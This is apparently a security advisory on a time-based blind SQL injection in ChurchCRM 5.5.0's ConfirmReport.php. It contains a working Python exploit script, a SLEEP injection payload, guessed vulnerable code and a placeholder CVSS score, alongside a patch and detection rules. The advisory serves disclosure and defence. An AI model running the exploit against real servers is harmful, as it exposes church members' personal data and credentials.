CVE-2024-25892

Executive Summary

CVE-2024-25892 is a Blind SQL Injection (Time-based) vulnerability in ChurchCRM version 5.5.0, specifically within the ConfirmReport.php script. The flaw resides in the familyId GET parameter, which is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this by sending crafted HTTP requests that cause time delays in the database response, allowing them to infer sensitive information from the database character by character. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for data exfiltration. No official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in a PHP-based application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full database read possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Critical. The blind SQL injection allows an attacker to extract the entire database contents, including user credentials, personal data, and church member information.

Deep Dive & Mechanics

The vulnerability exists in ConfirmReport.php where the familyId parameter is directly concatenated into a SQL query without parameterization or sanitization. The code likely resembles:

$familyId = $_GET['familyId'];
$query = "SELECT * FROM families WHERE id = $familyId";

An attacker can inject SQL commands that cause time delays (e.g., SLEEP(5)) to perform blind data extraction. The attack is time-based, meaning the attacker observes response times to infer whether a condition is true or false.

Attack Flow:

1. Attacker sends a request: ConfirmReport.php?familyId=1 AND SLEEP(5)
2. If the response takes 5 seconds, the condition is true.
3. Attacker iterates through characters of database names, table names, and column values using binary search or substring comparisons.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// ConfirmReport.php (vulnerable)
$familyId = $_GET['familyId'];
$query = "SELECT * FROM families WHERE id = $familyId";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

// ConfirmReport.php (patched)
$familyId = intval($_GET['familyId']);
$stmt = $conn->prepare("SELECT * FROM families WHERE id = ?");
$stmt->bind_param("i", $familyId);
$stmt->execute();
$result = $stmt->get_result();

The patch uses prepared statements and type casting to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ChurchCRM 5.5.0 running on a local or remote server.
• Python 3 with requests library.

Exploit Script (time-based blind SQLi):

import requests
import time

target = "http://target.com/ConfirmReport.php"
delay = 5  # seconds

def test_condition(condition):
    payload = f"1 AND IF({condition}, SLEEP({delay}), 0)"
    start = time.time()
    r = requests.get(target, params={"familyId": payload})
    elapsed = time.time() - start
    return elapsed >= delay

# Example: extract database version
version = ""
for i in range(1, 20):
    for char in "0123456789.":
        condition = f"SUBSTRING(VERSION(),{i},1)='{char}'"
        if test_condition(condition):
            version += char
            break
print(f"Database version: {version}")

Usage: Run the script against the target. Adjust delay based on network latency. The script extracts the database version character by character.

Blue Team

Detection Steps:

1. Monitor web server logs for abnormal familyId parameters containing SQL keywords (e.g., SLEEP, AND, OR, IF).
2. Look for requests with unusually long response times (e.g., >5 seconds) for ConfirmReport.php.
3. Use WAF rules to block requests with SLEEP or BENCHMARK in GET parameters.

Honeypot: Deploy a fake ConfirmReport.php that logs all familyId values and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /ConfirmReport.php with familyId containing SLEEP, BENCHMARK, or IF statements.
  • Response times exceeding 5 seconds for ConfirmReport.php.
• File IOCs:
  • Modified ConfirmReport.php (if attacker uploaded a backdoor).
  • Suspicious entries in web server access logs (e.g., familyId=1 AND SLEEP(5)).
• System IOCs:
  • Unusual database queries in MySQL slow query log.
  • High CPU usage on database server during exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_25892_Blind_SQLi {
    meta:
        description = "Detects blind SQL injection attempts against ChurchCRM ConfirmReport.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25892"
    strings:
        $sleeper = /familyId=.*SLEEP\s*\(/ nocase
        $benchmark = /familyId=.*BENCHMARK\s*\(/ nocase
        $if_condition = /familyId=.*IF\s*\(/ nocase
    condition:
        any of them
}

Sigma Rule

title: Blind SQL Injection Attempt Against ChurchCRM ConfirmReport.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects time-based blind SQL injection attempts via familyId parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "familyId="
        cs-uri-query|contains|all:
            - "SLEEP"
            - "("
    condition: selection
falsepositives:
    - Legitimate use of SLEEP function (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25892 Blind SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/ConfirmReport.php"; http_uri; content:"familyId="; http_uri; pcre:"/familyId=.*(SLEEP|BENCHMARK|IF)\s*\(/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the ChurchCRM server from the internet if possible.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Upgrade to a patched version if available (none currently).

Long-term Fix:

1. Rewrite ConfirmReport.php to use prepared statements (see patched code above).
2. Implement input validation: ensure familyId is an integer.
3. Conduct a full security audit of the application.

Workaround:

• Disable ConfirmReport.php by renaming or removing it if not essential.

Valters IT